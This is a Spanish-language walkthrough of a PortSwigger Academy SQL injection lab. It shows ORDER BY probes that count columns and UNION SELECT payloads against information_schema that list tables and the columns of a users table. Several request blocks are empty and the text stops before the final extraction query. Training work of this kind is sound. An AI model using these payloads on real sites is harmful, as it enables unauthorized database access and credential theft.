# Lab 5: SQL injection attack, listing the database contents on non-Oracle databases

Se inicia el laboratorio y al interactuar con los filtros de busqueda:

Se genera la siguiente peticion:

```

```

Y la anterior peticion responde asi:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 8912

```

Empezamos a validar el numero de campos con ORDER BY:

```
GET /filter?category='+order+by+1-- HTTP/2

```

Lo anterior responde asi:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3920

```

Se procede a incrementar el valor a 2:

```
GET /filter?category='+order+by+2-- HTTP/2
Host: 0aeb00b004aac525817ed54000ef0015.web-security-academy.net

```

Y lo anterior responde asi:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3920

```

Y finalizamos validando con el numero 3:

```
GET /filter?category='+order+by+3-- HTTP/2
Host: 0aeb00b004aac525817ed54000ef0015.web-security-academy.net

```

La inyeccion previa responde con un error:

```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2423

```

Por lo tanto, podemos afirmar que tenemos 2 campos disponibles para nuestras proximas inyecciones:

Luego de validar que tipo de dato son cada columna, podemos enumerar con el siguiente payload:

```
GET /filter?category='+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- HTTP/2

```

La anterior consulta responde asi:

Luego de obtener los nombres de las tablas podemos intentar retornar las columnas de una tabla especifica:

```
GET /filter?category='+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_upxvct'-- HTTP/2

```

El payload anterior logra retornar los nombres de las columnas de la tabla USUARIOS:

Utilizando los nombres de las columnas y el nombre de la tabla, se diseña una consulta que retorne los valores que tiene esta tabla:
